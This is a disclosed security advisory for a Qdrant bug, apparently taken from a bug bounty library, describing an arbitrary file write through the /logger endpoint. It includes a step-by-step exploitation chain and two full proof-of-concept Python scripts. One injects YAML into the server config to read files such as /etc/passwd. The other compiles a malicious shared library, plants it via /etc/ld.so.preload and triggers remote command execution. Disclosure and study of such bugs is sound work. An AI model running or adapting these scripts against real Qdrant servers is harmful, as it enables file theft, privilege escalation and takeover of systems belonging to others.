# qdrant has arbitrary file write via `/logger` endpoint

Qdrant's /logger endpoint accepts an arbitrary log_file path, letting a read-only user append YAML to config/local.yaml and gain file read or RCE after restart.

- Payout: Research
- Severity: high
- Program: Qdrant
- Found by: Ezzer17
- Disclosed: 2026-02-05
- CVE: CVE-2026-25628
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-f632-vm87-2m2f
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-f632-vm87-2m2f
- Tags: area:web domain:api impact:data-leak impact:privesc impact:rce kind:research platform:ghsa sev:high tech:docker technique:chained vuln:misconfiguration vuln:path-traversal vuln:rce

**Target:** Qdrant HTTP API /logger and dashboard static file serving
**Root cause:** The /logger endpoint takes an attacker-controlled on_disk.log_file path with no authorization check beyond authentication and no restriction to a logs directory, so log lines can be appended to any writable file including config/local.yaml.
**Steps:**
1. Start Qdrant v1.15.5 with a writable config directory: `sudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5`
2. POST /logger with `{"log_level":"INFO","on_disk":{"enabled":true,"format":"text","log_level":"INFO","buffer_size_bytes":1,"log_file":"config/local.yaml"}}`
3. Inject YAML via a request whose path logs newlines: `PATCH /collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a` with body `{}`
4. Disable logger via POST /logger with `{"on_disk":{"enabled":false}}`
5. Restart the container so local.yaml takes priority
6. GET `/dashboard/etc/passwd` and `/dashboard/qdrant/config/config.yaml` to read files via the web UI path
7. For RCE: point log_file at `/etc/ld.so.preload`, upload a malicious .so as a snapshot, then GET /stacktrace to trigger execution
**How found:** Reporter noticed the /logger endpoint accepts an attacker-controlled on_disk.log_file path with only an authentication check, then reasoned that log lines are attacker-influenced and that a writable config directory plus a missing local.yaml would let logged content become parsed YAML on restart.
**Exploitation:** A low-privileged authenticated user sets log_file to config/local.yaml, injects valid YAML through a URL-encoded collection name that gets logged, disables logging, and waits for a restart (legitimate or crash/OOM). The injected service.static_content_dir: .. lets them read arbitrary files through the dashboard path, and overriding config can set a custom master key for privilege escalation. Alternatively, log_file=/etc/ld.so.preload plus an uploaded malicious snapshot .so and a /stacktrace request yields RCE.
**Escalation:** Config override raises privileges via custom master key; ld.so.preload hijack escalates file write to remote code execution.
**Insight:** When an endpoint lets you choose a log file path, check whether log lines themselves can carry attacker-controlled newlines (e.g. URL-encoded collection names) and whether any writable config file is parsed on restart; also consider /etc/ld.so.preload as a write target for preload-based RCE.

## Proof of concept (copied exactly from the original report)

**exploit_privesc.py arbitrary file write script**

```
import requests
import sys
import argparse

parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")

args = parser.parse_args()

url = args.url

headers = {}
if args.api_key:
    headers["api-key"] = args.api_key

s = requests.Session()

s.headers.update(headers)

res = s.post(
    f"{url}/logger",
    json={
        "log_level": "INFO",
        "on_disk": {
            "enabled": True,
            "format": "text",
            "log_level": "INFO",
            "buffer_size_bytes": 1,
            "log_file": "config/local.yaml",
        },
    },
)
res.raise_for_status()
print("[+] Logger configured")


res = s.patch(
    f"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a",
    json={},
)
error = res.json()["status"]["error"]

if "doesn't exist!" in error:
    print("[+] Log injection successful")
else:
    print(f"[-] Error: {error}")
    sys.exit(1)

res = s.post(
    f"{url}/logger",
    json={
        "on_disk": {
            "enabled": False,
        },
    },
)
res.raise_for_status()
print("[+] Logger disabled")

input("Restart Qdrant cluster and press Enter to continue...")

res = s.get(f"{url}/dashboard/etc/passwd")
res.raise_for_status()
print("[+] Passwd file retrieved")
print("--------------------------------")
print(res.text)
print("--------------------------------")
```

**exploit_rce.py ld.so.preload RCE script**

```
import requests
import argparse
import tempfile
import os

TEST_COLLECTION_NAME = "COLTEST"


parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")
parser.add_argument("--cmd", default="touch /tmp/touched_by_rce")
parser.add_argument("--lib", default="")

args = parser.parse_args()


assert "'" not in args.cmd, "Command must not contain single quotes"
so_code = """
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void init() {
    unlink("/etc/ld.so.preload");
    system("/bin/bash -c 'XXXXXXXX'");
}
""".replace('XXXXXXXX', args.cmd)

with tempfile.TemporaryDirectory() as tmpdir:
    with open(f"{tmpdir}/cmd_code.c", "w") as f:
        f.write(so_code)
    os.system(f'gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c')
    cmd_so = open(f'{tmpdir}/cmd.so', "rb").read()

url = args.url

headers = {}
if args.api_key:
    headers["api-key"] = args.api_key

s = requests.Session()

s.headers.update(headers)

res = s.post(
    f"{url}/logger",
    json={
        "log_level": "INFO",
        "on_disk": {
            "enabled": True,
            "format": "text",
            "log_level": "INFO",
            "buffer_size_bytes": 1,
            "log_file": "/etc/ld.so.preload",
        },
    },
)
res.raise_for_status()
print("[+] Logger configured")

res = s.get(
    f"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so",
)

print("[+] Log injected")


res = s.post(
    f"{url}/logger",
    json={
        "on_disk": {
            "enabled": False,
        },
    },
)
res.raise_for_status()
print("[+] Logger disabled")


rsp = s.post(f"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload", files={"snapshot": ("hui.so", cmd_so, "application/octet-stream")})

print(rsp.text)
# trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`

input("Press Enter to continue...")
rsp = s.get(f"{args.url}/stacktrace")
rsp.raise_for_status()
```

